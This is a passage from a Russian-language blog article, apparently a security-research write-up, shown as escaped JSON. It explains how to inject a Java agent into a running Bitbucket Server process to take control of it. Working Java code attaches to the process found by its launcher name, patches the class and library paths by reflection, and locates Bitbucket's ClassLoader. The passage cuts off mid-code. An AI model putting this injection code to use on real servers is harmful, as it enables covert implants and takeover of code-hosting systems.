\u0434\u043e\u043b\u0436\u043d\u043e \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c \u0434\u0432\u0435 \u0442\u043e\u0447\u043a\u0438 \u0432\u0445\u043e\u0434\u0430:<\/p>\n<ul>\n<li>\n<p>\u0421\u0442\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043c\u0435\u0442\u043e\u0434 main, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0431\u0443\u0434\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c Attach API, \u0447\u0442\u043e\u0431\u044b \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u0430\u044f JVM \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u043b\u0430\u0441\u044c \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0430\u0433\u0435\u043d\u0442\u0430. \u041a\u043b\u0430\u0441\u0441, \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u044e\u0449\u0438\u0439 \u044d\u0442\u043e\u0442 \u043c\u0435\u0442\u043e\u0434 \u0434\u043e\u043b\u0436\u0435\u043d \u0431\u044b\u0442\u044c \u0443\u043a\u0430\u0437\u0430\u043d \u0432 Main-Class \u043c\u0430\u043d\u0438\u0444\u0435\u0441\u0442\u0430<\/p>\n<\/li>\n<li>\n<p>\u0421\u0442\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043c\u0435\u0442\u043e\u0434 Agentmain, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439, \u043a\u043e\u0433\u0434\u0430 \u0430\u0433\u0435\u043d\u0442 (\u0441\u0430\u043c\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435) \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442\u0441\u044f \u0432 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 Java. \u041a\u043b\u0430\u0441\u0441, \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u044e\u0449\u0438\u0439 \u044d\u0442\u043e\u0442 \u043c\u0435\u0442\u043e\u0434 \u0434\u043e\u043b\u0436\u0435\u043d \u0431\u044b\u0442\u044c \u0443\u043a\u0430\u0437\u0430\u043d \u0432 Agent-Class \u043c\u0430\u043d\u0438\u0444\u0435\u0441\u0442\u0430<\/p>\n<\/li>\n<\/ul>\n<p>\u0412 \u0441\u0442\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u043c \u043c\u0435\u0442\u043e\u0434\u0435 main, \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c Instrumentation API \u0434\u043b\u044f \u043f\u043e\u0438\u0441\u043a\u0430 \u043d\u0443\u0436\u043d\u043e\u0433\u043e Java-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e VirtualMachine::list \u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0441\u0430\u043c\u043e\u0433\u043e \u0441\u0435\u0431\u044f \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0430\u0433\u0435\u043d\u0442\u0430 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e VirtualMachine.loadAgent \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c:<\/p>\n<pre><code class=\"java\">public class Main {   \/\/ looks up the current application's JAR path   private static String getCurrentJarPath() throws URISyntaxException {     return new File(Main.class.getProtectionDomain().getCodeSource()       .getLocation().toURI()).getAbsolutePath();   }    public static void main(String[] args) {     try {       String jarPath = getCurrentJarPath();       if (!jarPath.endsWith(\".jar\")) return;              Class vm = Class.forName(\"com.sun.tools.attach.VirtualMachine\");       Class vmDescriptor = Class.forName(\"com.sun.tools.attach.VirtualMachineDescriptor\");       List&lt;Object&gt; descriptors = (List&lt;Object&gt;) vm.getMethod(\"list\").invoke(null);       for (Object descriptor : descriptors) {         String pid = (String) vmDescriptor.getMethod(\"id\").invoke(descriptor);         String name = (String) vmDescriptor.getMethod(\"displayName\").invoke(descriptor);                  \/\/ filter process by its name \/ command line         if (!name.contains(\"com.atlassian.bitbucket.internal.launcher.BitbucketServerLauncher\"))           continue;                  Object vmObject = null;         try {           vmObject = vm.getMethod(\"attach\", String.class).invoke(null, pid);           if (vmObject != null)                vm.getMethod(\"loadAgent\", String.class).invoke(vmObject, jarPath);         } finally {           if (vmObject != null)              vm.getMethod(\"detach\").invoke(vmObject);         }       }     } catch (Exception e) {        e.printStackTrace();     }   } }<\/code><\/pre>\n<p>\u041e\u0434\u043d\u0430\u043a\u043e, \u043d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u044d\u0442\u043e\u0442 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 JVM JRE, Attach API \u0438 \u043b\u043e\u0433\u0438\u043a\u0430, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0430\u044f \u0434\u043b\u044f \u0441\u0432\u044f\u0437\u0438 \u0441 JVM (libattach), \u043c\u043e\u0433\u0443\u0442 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u043e\u0432\u0430\u0442\u044c. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0430\u0432\u0442\u043e\u0440\u044b \u0441\u0442\u043e\u043b\u043a\u043d\u0443\u043b\u0438\u0441\u044c \u0441 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u043e\u0439 Bitbucket \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c OpenJDK-8-JRE, \u0443 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043d\u0435 \u0431\u044b\u043b\u043e \u0442\u0430\u043a\u043e\u0433\u043e API. \u0427\u0442\u043e\u0431\u044b \u044d\u0442\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c, \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u0432\u0430 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0445 \u0444\u0430\u0439\u043b\u0430 \u0438\u0437 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0433\u043e JDK:<\/p>\n<ul>\n<li>\n<p>Java Attach API \u0432 \u0444\u0430\u0439\u043b\u0435 tools.jar   <\/p>\n<\/li>\n<li>\n<p>\u041d\u0438\u0437\u043a\u043e\u0443\u0440\u043e\u0432\u043d\u0435\u0432\u0430\u044f \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f libattach (libattach.dll \u0438\u043b\u0438 libattach.so)   <\/p>\n<\/li>\n<\/ul>\n<p>\u0417\u0430\u0442\u0435\u043c, \u044d\u0442\u0438 \u0434\u0432\u0430 \u0444\u0430\u0439\u043b\u0430 \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u043d\u0430 \u0434\u0438\u0441\u043a, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043f\u0443\u0442\u044c \u043a \u043a\u043b\u0430\u0441\u0441\u0430\u043c \u0438 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430\u043c \u043d\u0438\u0437\u043a\u043e\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f:<\/p>\n<pre><code class=\"java\">private static void prepare() throws Exception {   try {     Class.forName(\"com.sun.tools.attach.VirtualMachine\");   } catch (Exception e) { \/\/ if libattach is not present\/loaded     String parentPath = new File(getCurrentJarPath()).getParent();     String finalPath = parentPath + \"\/tools.jar\";      ClassLoader loader = ClassLoader.getSystemClassLoader();      \/\/ adjust low-level libraries path     Field field = ClassLoader.class.getDeclaredField(\"sys_paths\");     field.setAccessible(true);     List&lt;String&gt; newSysPaths = new ArrayList&lt;&gt;();     newSysPaths.add(parentPath);     newSysPaths.addAll(Arrays.asList((String[])field.get(loader)));     field.set(loader, newSysPaths.toArray(new String[0]));      \/\/ add tools.jar to the class path     URLClassLoader urlLoader = (URLClassLoader) loader;     Method addURLMethod = URLClassLoader.class.getDeclaredMethod(\"addURL\", URL.class);     addURLMethod.setAccessible(true);     File toolsJar = new File(finalPath);     if (!toolsJar.exists())        throw new RuntimeException(toolsJar.getAbsolutePath() + \" does not exist\");     addURLMethod.invoke(urlLoader, new File(finalPath).toURI().toURL());   } }<\/code><\/pre>\n<p>\u041e\u0434\u043d\u0430\u043a\u043e, \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u0435 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435, \u0447\u0442\u043e \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430 \u043f\u0443\u0442\u0438 \u043a \u043a\u043b\u0430\u0441\u0441\u0443 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e addURL \u043d\u0435 \u0431\u0443\u0434\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u0432 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 Java, \u043d\u0430\u0447\u0438\u043d\u0430\u044f \u0441 9, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0445 \u043a\u043b\u0430\u0441\u0441\u043e\u0432 \u0431\u043e\u043b\u044c\u0448\u0435 <a href=\"https:\/\/github.com\/AdoptOpenJDK\/openjdk-jdk9\/blob\/f00b63d24697cce8067f468fe6cd8510374a46f5\/jdk\/src\/java.base\/share\/classes\/jdk\/internal\/loader\/ClassLoaders.java#L164\" rel=\"noopener noreferrer nofollow\">\u043d\u0435 \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u0442<\/a> URLClassLoader.<\/p>\n<p>\u041f\u043e\u0441\u043b\u0435 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0430\u0433\u0435\u043d\u0442\u0430 Java \u0432 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 JVM, \u043c\u0435\u0442\u043e\u0434 agentmain \u043a\u043b\u0430\u0441\u0441\u0430 Agent-Class \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u0437\u0432\u0430\u043d \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d \u0432\u043d\u0443\u0442\u0440\u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430.<\/p>\n<p><strong>\u041f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f BitBucket<\/strong>   <\/p>\n<p>\u0414\u043b\u044f \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 Bitbucket \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0441\u0441\u044b\u043b\u043a\u0443 \u043d\u0430 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0435 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f. \u041e\u0434\u043d\u0430\u043a\u043e \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u043d\u0430\u0448\u0438 \u043a\u043b\u0430\u0441\u0441\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0431\u0443\u0434\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 Bitbucket, \u0434\u043e\u043b\u0436\u043d\u044b \u0431\u044b\u0442\u044c \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u044b \u0432 \u0440\u0430\u043d\u0442\u0430\u0439\u043c\u0435.<\/p>\n<p>\u0415\u0441\u0442\u044c \u0434\u0432\u0430 \u0441\u043f\u043e\u0441\u043e\u0431\u0430 \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u044d\u0442\u043e:<\/p>\n<ul>\n<li>\n<p>\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c Instrumentation API \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u0430 \u0432\u044b\u0437\u043e\u0432\u043e\u0432 \u0438 \u043f\u0430\u0442\u0447\u0438\u043d\u0433\u0430 \u0431\u0430\u0439\u0442-\u043a\u043e\u0434\u0430.<\/p>\n<\/li>\n<li>\n<p>\u0420\u0443\u0447\u043d\u043e\u0439 \u043f\u043e\u0438\u0441\u043a \u043d\u0443\u0436\u043d\u043e\u0433\u043e ClassLoader \u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u043d\u043e\u0432\u044b\u0445 \u043a\u043b\u0430\u0441\u0441\u043e\u0432 \u0432\u0440\u0443\u0447\u043d\u0443\u044e.<\/p>\n<\/li>\n<\/ul>\n<p>\u041f\u0435\u0440\u0432\u044b\u0439 \u043c\u0435\u0442\u043e\u0434 \u0443\u0436\u0435 \u043e\u043f\u0438\u0441\u0430\u043d \u0432 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u044f\u0445 \u0432 <a href=\"https:\/\/fahdshariff.blogspot.com\/2011\/08\/changing-java-library-path-at-runtime.html\" rel=\"noopener noreferrer nofollow\">\u0431\u043b\u043e\u0433\u0430\u0445 <\/a>\u0438 <a href=\"https:\/\/github.com\/threedr3am\/ZhouYu\/tree\/main\" rel=\"noopener noreferrer nofollow\">\u043f\u0440\u043e\u0435\u043a\u0442\u0430\u0445<\/a>.<\/p>\n<p>\u042d\u0442\u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0442\u0441\u044f \u043d\u0430 <a href=\"https:\/\/docs.oracle.com\/javase%2F7%2Fdocs%2Fapi%2F%2F\/java\/lang\/instrument\/ClassFileTransformer.html\" rel=\"noopener noreferrer nofollow\">Transformer <\/a>Instrumentation API \u0438 \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u044e\u0442 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 \u0431\u0430\u0439\u0442-\u043a\u043e\u0434. \u0412 \u044d\u0442\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e \u0440\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0435\u043d \u0432\u0442\u043e\u0440\u043e\u0439, \u043c\u0435\u043d\u0435\u0435 \u043e\u043f\u0430\u0441\u043d\u044b\u0439, \u0432\u0430\u0440\u0438\u0430\u043d\u0442, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043e\u043d \u043d\u0435 \u043c\u0435\u0448\u0430\u0435\u0442 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u043c \u043a\u043b\u0430\u0441\u0441\u0430\u043c. \u041e\u0441\u043d\u043e\u0432\u043d\u0430\u044f \u0438\u0434\u0435\u044f \u2014 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u043d\u043e\u0432\u0443\u044e Java-\u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0443, \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0443\u044e \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c Maven, Gradle \u0438\u043b\u0438 \u0432\u0440\u0443\u0447\u043d\u0443\u044e, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0438\u043c\u043f\u043e\u0440\u0442\u0438\u0440\u0443\u0435\u0442 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 Bitbucket, \u043a\u0430\u043a \u0432\u043d\u0435\u0448\u043d\u0438\u0435. \u042d\u0442\u0430 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 \u0431\u0443\u0434\u0435\u0442 \u0440\u0430\u0441\u0448\u0438\u0440\u044f\u0442\u044c Bitbucket, \u0432\u044b\u0437\u044b\u0432\u0430\u044f \u0435\u0433\u043e \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u044b, \u0438 \u0432\u043d\u0435\u0434\u0440\u044f\u0442\u044c\u0441\u044f \u0432 \u0440\u0430\u043d\u0442\u0430\u0439\u043c \u0438\u0437 ClassLoader.<\/p>\n<p>\u0427\u0442\u043e\u0431\u044b \u043d\u0430\u0439\u0442\u0438 \u043d\u0443\u0436\u043d\u044b\u0439 ClassLoader, \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0449\u0438\u0439 \u043a\u043b\u0430\u0441\u0441\u044b Bitbucket \u0438 \u0435\u0433\u043e \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438, \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u043f\u0440\u0438\u043c\u0435\u0440:<\/p>\n<pre><code class=\"java\">private static ClassLoader lookup (Instrumentation i) {   for (Class klass : i.getAllLoadedClasses()) {     if (!klass.getName().equals(\"org.apache.catalina.valves.ValveBase\")) continue;     return klass.getClassLoader();   }   return null; }  \/\/ running on bitbucket public static void agentmain (String args, Instrumentation i) {   ClassLoader targetLoader = lookup(i); }<\/code><\/pre>\n<p>\u0417\u0430\u0442\u0435\u043c \u043d\u0430\u043c \u043f\u0440\u043e\u0441\u0442\u043e \u043d\u0443\u0436\u043d\u043e \u0432\u0440\u0443\u0447\u043d\u0443\u044e \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c \u043a\u043b\u0430\u0441\u0441\u044b \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u0438\u0445 \u0431\u0430\u0439\u0442-\u043a\u043e\u0434\u0430. \u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u043c\u044b \u0441\u043e\u0437\u0434\u0430\u0435\u043c \u043a\u043b\u0430\u0441\u0441 \u0432 \u043d\u0430\u0448\u0435\u043c \u0430\u0433\u0435\u043d\u0442\u0435, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0440\u0430\u0441\u0448\u0438\u0440\u044f\u0435\u0442 ClassLoader \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 targetLoader \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0440\u043e\u0434\u0438\u0442\u0435\u043b\u044f, \u0447\u0442\u043e\u0431\u044b \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0442\u044c \u043a\u043b\u0430\u0441\u0441\u044b \u0431\u0435\u0437 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 \u0434\u0435\u043b\u0430\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u043c private \u043c\u0435\u0442\u043e\u0434 defineClass:<\/p>\n<pre><code class=\"java\">private static class AgentLoader extends<\/code><\/pre>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-428059","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/428059","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=428059"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/428059\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=428059"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=428059"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=428059"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}